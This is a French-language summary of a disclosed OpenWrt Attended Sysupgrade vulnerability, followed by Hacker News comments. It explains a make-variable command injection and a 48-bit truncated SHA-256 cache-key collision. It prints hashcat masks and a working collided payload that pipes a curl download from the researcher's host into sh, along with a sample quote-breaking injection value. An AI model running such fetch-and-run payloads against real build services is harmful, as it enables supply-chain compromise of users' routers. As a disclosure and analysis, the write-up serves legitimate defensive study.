- La fonctionnalité de mise à niveau web d’OpenWrt, Attended Sysupgrade, reposait sur une architecture où le firmware était généré par un serveur de build en ligne. En combinant une injection de commandes et une collision SHA-256 tronquée, il était possible qu’un artefact de build incorrect soit renvoyé pour une requête pourtant légitime
- La valeur
packagesde la requête était transmise à la variablePACKAGES=demake manifest, et à cause du mécanisme d’expansion des variables demake, un attaquant pouvait exécuter des commandes arbitraires à l’intérieur du conteneur ImageBuilder - Le hash de la liste des paquets n’utilisait pas le SHA-256 complet, mais seulement les 12 premiers caractères, soit 48 bits, dans la clé de cache, ce qui permettait à des listes de paquets différentes de produire le même hash de requête
- Le chercheur a obtenu une vitesse d’environ 18 milliards de hash par seconde avec une version modifiée de Hashcat et une RTX 4090, et a validé qu’un payload d’injection de commandes collisionné pouvait écraser les artefacts
.binproduits par l’ImageBuilder - Après un signalement privé de la vulnérabilité, l’équipe OpenWrt a suspendu temporairement
sysupgrade.openwrt.orget déployé une version corrigée en moins de 3 heures, sans pouvoir confirmer si la faille avait déjà été exploitée
Architecture de build de firmware en ligne d’Attended Sysupgrade
- L’interface web LuCI d’OpenWrt inclut
Attended Sysupgrade, une fonctionnalité qui construit un nouveau firmware via un service en ligne - Le service de build fonctionne sur
sysupgrade.openwrt.org, et génère une nouvelle image de firmware lorsque l’utilisateur choisit l’appareil cible et les paquets souhaités - Lors d’une requête de mise à niveau, le système OpenWrt côté utilisateur envoie au serveur les informations suivantes
- l’architecture cible
- le profil de l’appareil
- les paquets sélectionnés
- Le serveur construit une image de firmware à partir de ces informations et la renvoie à l’appareil OpenWrt, qui flashe ensuite l’image reçue
- Si un serveur qui construit des images à partir de paquets fournis par l’utilisateur n’est pas suffisamment isolé, il devient une surface d’attaque de chaîne d’approvisionnement, puisque le résultat du build est appliqué directement à l’appareil
Injection de commandes via la valeur PACKAGES
- Le serveur
sysupgrade.openwrt.orgest un projet open source, dont le code source est disponible sur openwrt/asu - L’environnement de build s’exécute dans un conteneur créé via
podman.containers.create, avec des paramètres commecap_drop=["all"],no_new_privileges=Trueetprivileged=False - La vulnérabilité se situait dans l’appel à
make manifestPROFILE={build_request.profile}PACKAGES={' '.join(build_cmd_packages)}STRIP_ABI=1
- La cible
manifestde l’ImageBuilder OpenWrt retransmet la valeurPACKAGESsous la formeUSER_PACKAGES="$(PACKAGES)" - Comme
makedéveloppe les variables avant d’exécuter la commande, même une valeur entourée d’apostrophes n’est pas traitée de manière sûre lorsqu’elle est contrôlée par l’utilisateur- Dans un Makefile d’exemple, exécuter
make var="'; whoami #"lance aussiwhoami, même à l’intérieur deecho '$(var)'
- Dans un Makefile d’exemple, exécuter
- Comme le paramètre
packagesde la requête alimente la variablePACKAGES, un attaquant pouvait insérer des commandes dans une valeur ressemblant à un nom de paquet et exécuter du code arbitraire à l’intérieur du conteneur ImageBuilder - Même si le conteneur était isolé de l’hôte, les binaires générés étaient ensuite signés avec une clé privée, ce qui faisait de cette injection de commandes une vulnérabilité de chaîne d’approvisionnement
Clé de cache SHA-256 tronquée à 12 caractères
get_request_hashconstruit un hash de requête en concaténant plusieurs champs de la requête de build, et ce hash sert de clé de cache pour le build- La liste des paquets n’est pas insérée directement comme chaîne, mais via le résultat de
get_packages_hash(build_request.packages), inclus dans le hash externe de la requête get_packages_hashsupprime les doublons de paquets, trie la liste, calcule le SHA-256 de la chaîne obtenue en les joignant par des espaces, puis ne renvoie que les 12 premiers caractères du résultat- Un préfixe de 12 caractères en SHA-256 représente 48 bits, soit un espace possible de
2^48 = 281,474,976,710,656valeurs - Comme le hash externe de la requête inclut ce hash tronqué des paquets, il suffisait de provoquer une collision de hash sur les paquets pour que deux listes différentes partagent la même clé de cache
- Le serveur pouvait alors renvoyer un artefact de build incorrect pour une autre requête de paquets
Recherche d’un payload collisionné avec Hashcat
- Faute d’avoir trouvé un outil de force brute partielle pour SHA-256, le chercheur a d’abord écrit lui-même un programme OpenCL, mais il lui fallait 10 secondes pour calculer 100 millions de hash, soit une vitesse proche de celle du CPU
- Il a ensuite modifié Hashcat pour qu’il affiche les hash dès que 8 caractères correspondaient, puis a vérifié les collisions sur 12 caractères à l’aide d’un petit script
- La liste de paquets légitime a été récupérée depuis
firmware-selector.openwrt.org, et son SHA-256 était8f7018b33d9472113274fa6516c237e32f67685fc1fc3cbdbf144647d0b3feeb- ses 12 premiers caractères étaient
8f7018b33d94 - le payload de l’attaquant devait donc partager le même préfixe de 12 caractères
- ses 12 premiers caractères étaient
- Au départ, il a exécuté sur une RTX 4090 un masque de la forme
`curl -L tmp.ryotak.net/?l?l?l?l?l?l?l?l?l?l|sh`, obtenant environ 500 millions de hash par seconde ?lgénère des lettresa-z, donc un espace de 10 caractères représente26^10 = 141,167,095,653,376possibilités, soit environ la moitié de2^48- En allongeant le masque à 11 caractères et en déplaçant la zone variable au début de la commande, la vitesse a fortement augmenté
- le motif final était
`?l?l?l?l?l?l?l?l?l?l?l||curl -L tmp.ryotak.net/8f7018b33d94|sh` - avec ce motif, Hashcat calculait environ 18 milliards de hash par seconde
- le motif final était
- Une collision sur 12 caractères a été trouvée en moins d’une heure
`slosuocutre||curl -L tmp.ryotak.net/8f7018b33d94|sh`- le SHA-256 de cette chaîne était
8f7018b33d9464976ab199f100812d2d24d5e84a76555c659e88e0b6989a4bd8, avec les mêmes 12 premiers caractères que la liste de paquets légitime
Retour d’un firmware incorrect en combinant les deux vulnérabilités
- En envoyant le payload collisionné dans le paramètre
packages, l’injection de commandes se déclenchait et un script était exécuté depuistmp.ryotak.net - Le script de validation ajoutait du code à
/builder/scripts/json_overview_image_info.pyafin d’écraser les artefacts produits par l’ImageBuilder- il lisait la liste des fichiers de
BIN_DIR - il cherchait les fichiers dont le nom se terminait par
.binet y écrivait"test"
- il lisait la liste des fichiers de
- À cause de la collision de hash, le serveur renvoyait ces artefacts modifiés à un utilisateur demandant la liste de paquets légitime
- Exploitée de manière malveillante, cette méthode pouvait pousser l’utilisateur à effectuer une mise à niveau vers un firmware malveillant, menant à la compromission de l’appareil
Signalement et correctif
- La vulnérabilité a été transmise à l’équipe OpenWrt via le signalement privé de vulnérabilité sur GitHub
- Après confirmation du problème, l’équipe OpenWrt a temporairement suspendu le service
sysupgrade.openwrt.orget lancé une enquête - Une version corrigée a été déployée en moins de 3 heures, puis le service a redémarré
- Les deux problèmes ont été corrigés, mais comme la vulnérabilité existait depuis un certain temps, il restait impossible de savoir si quelqu’un l’avait déjà exploitée
- L’équipe OpenWrt a diffusé une annonce pour aider les utilisateurs à vérifier et détecter une éventuelle compromission de leurs appareils
Conclusion
sysupgrade.openwrt.orgpouvait être compromis en combinant une injection de commandes et une collision SHA-256 tronquée- Il s’agit d’un cas concret où une attaque par collision de hash réussie par force brute dans une application réelle a ouvert une voie d’attaque sur la chaîne d’approvisionnement
- L’équipe OpenWrt a corrigé rapidement le problème et informé les utilisateurs, mais les services de build en ligne doivent traiter les clés de cache et la validation des entrées avec une extrême prudence
1 commentaires
Avis sur Hacker News
La vulnérabilité que l’article omet, c’est le fait que l’exécution de code adapté à un utilisateur ou à un appareil précis devient normalisée.
Il n’y a aucune vérification de reproductibilité, et personne n’a de moyen de vérifier que ce service de builds et de téléchargements personnalisés n’a pas produit de builds contenant une porte dérobée.
Il faudrait garantir l’utilisation de builds de xz-utils comme ceux qu’utilise Andres Freund, ou de builds que des chercheurs en sécurité pourront récupérer plus tard pour vérifier la présence d’implants de supply chain dans des logiciels open source[1].
Il y avait autrefois un article décrivant la tentative abandonnée de Mozilla de consigner publiquement ses builds de release dans un arbre de Merkle[2]. Google a clarifié l’implémentation de la build du firmware des Pixel, mais les applications distribuées via le Google Play Store semblent vulnérables (sauf s’il existe d’autres journaux que je n’ai pas trouvés)[3]. Apple, avec le ciblage de builds par appareil individuel pour la distribution de firmwares et d’apps, sans transparence des builds, semble même pire que Google du point de vue de la transparence binaire.
Un bon exemple est le dépôt ebuild de Gentoo. Il contient les sommes de contrôle des sources dans un unique dépôt Git/arbre de Merkle, ce qui pourrait en faire l’un des plus grands et des plus largement distribués arbres de Merkle du logiciel open source.
[1] Après la porte dérobée dans xz-utils, certains chercheurs ont mené des scans automatiques/semi-automatiques pour repérer, dans les builds de logiciels open source, des fichiers à forte entropie inexpliquée susceptibles de contenir du code malveillant caché. Avec des builds personnalisés par utilisateur ou par appareil, ce travail est impossible à moins que tous les builds soient rendus publics pour analyse ultérieure, accompagnés d’un journal public (arbre de Merkle) de ces builds publics.
[2] https://wiki.mozilla.org/Security/Binary_Transparency
[3] https://developers.google.com/android/binary_transparency/ov...
Beaucoup d’éléments qui entrent dans un pipeline de build sont intrinsèquement non déterministes, parce que les décisions prises au moment de la compilation peuvent varier d’une exécution à l’autre. Même en mettant de côté les problèmes de flags, c’est en pratique assez proche de l’objectif d’un compilateur optimisant. Comme l’ont constaté de nombreux projets de builds reproductibles, dès qu’on active l’optimisation, la reproductibilité n’est en fait plus garantie.
À ma connaissance, il n’existe pas de journal centralisé ; on laisse aux développeurs d’apps le soin de publier eux-mêmes leur clé ou le journal des fichiers de transparence.
"".joinn’est-il pas dangereux aussi ?Avec quelque chose comme
get_str_hash("".join([build_request.distro, build_request.version, build_request.version_code, build_request.target, ..., on pourrait déplacer des caractères entre champs adjacents sans changer le hash.Même sans prendre directement le contrôle du système, cela pourrait provoquer un empoisonnement du cache avec une image cassée, ou induire un downgrade.
Correction : il faudrait dire hachage incrémental, pas HMAC.
Voilà pourquoi l’open source ne pourra jamais rivaliser avec le logiciel propriétaire d’entreprise :
parce qu’ils ont corrigé le problème en 3 heures au lieu de faire attendre 6 mois pour un patch, qu’ils n’ont pas essayé de poursuivre en justice la personne qui l’a signalé, et qu’ils ne se sont pas contentés de proposer une petite remise pour jeter un appareil « obsolète » mais parfaitement fonctionnel et en acheter un nouveau.
J’espère qu’ils prévoient aussi de corriger l’injection de commandes. Comme l’indique l’article, les images générées sont signées. Même sans signature, il s’agit d’un problème d’exécution de code via des entrées utilisateur non fiables. Et les vulnérabilités peuvent se combiner, comme dans ce cas de collision de hash.
Je peux en obtenir un remplacement, mais ce sera le même modèle. Le FAI ne se soucie absolument pas de la sécurité et ne publie pas de correctifs. Et pourtant il dispose d’un accès propriétaire au routeur, avec même une connexion distante possible ; c’est complètement absurde.
Dans la plupart des projets open source, les mainteneurs sont soit beaucoup trop surchargés, soit n’ont tout simplement pas envie de corriger les problèmes de sécurité.
D’abord, c’est un exemple d’outil qui n’était pas conçu à l’origine pour cet usage, mais qui était open source et écrit sans BuilderFactoryProvider, ce qui a permis de l’adapter à la tâche en peu de temps.
Désolé de ressasser quelque chose qui a déjà été dit, mais chaque jour ça me pèse énormément.
Si cela avait été une grande entreprise, il aurait probablement fallu -1 an pour corriger. Parce qu’ils se seraient contentés de poursuivre cette personne en justice et d’essayer de la faire arrêter au plus vite, sans jamais publier de patch.
OpenWrt, après avoir reçu l’information, a coupé le service non sûr ; les utilisateurs étaient déjà en sécurité grâce à l’arrêt du service lorsqu’ils ont vérifié le signalement, puis ils ont créé un patch et l’ont déployé en 3 heures. Impressionnant.
Je me demande comment les gens en viennent à l’idée de tronquer des hachages. Quel est le but ou l’avantage ?
Je ne pense pas que ce soit une bonne pratique, mais dans la réalité les gens font des compromis
D’après la réponse de @Reid en [2] et celle de @ThomasPornin en [3], l’idée de tronquer un hachage est pleinement prise en charge par le NIST. En pratique, SHA-224 est une version tronquée de SHA-256, et SHA-384 une version tronquée de SHA-512
https://security.stackexchange.com/a/97389
Très bon article. J’ai été un peu surpris qu’il ait fallu autant de calcul GPU pour trouver une collision aussi courte, mais c’était intéressant de voir l’implémentation
À propos de la dernière section, 40 000 dollars pour un mois d’analyse de sécurité, est-ce un prix raisonnable ? Si oui, un bon chercheur en sécurité gagne-t-il environ 500 000 dollars par an ?
nmap/metasploitparesseux, puis en emballant le tout dans un PDF convaincant2^(12*4)signifie qu’il existe 281 474 976 710 656 chaînes possibles de 12 caractères ; pouvoir en parcourir autant en moins d’une heure est vraiment impressionnantQu’est-ce que ça veut dire que les performances de
hashcatvarient de plusieurs ordres de grandeur selon l’ordre des arguments ? Il scanne le motif cible dans la ligne d’arguments à chaque exécution ?Ou alors c’est peut-être structuré comme lorsqu’on compte des nombres :
100000000000010000000000110000000000001000000000la plupart des variations se produisent à gauche, tandis que les changements à droite n’apparaissent que rarement. Ce serait intéressant qu’une personne connaissant hashcat réponde. Moi, je ne fais que lancer des hypothèses
Le déroulé de l’attaque était très bien écrit et facile à suivre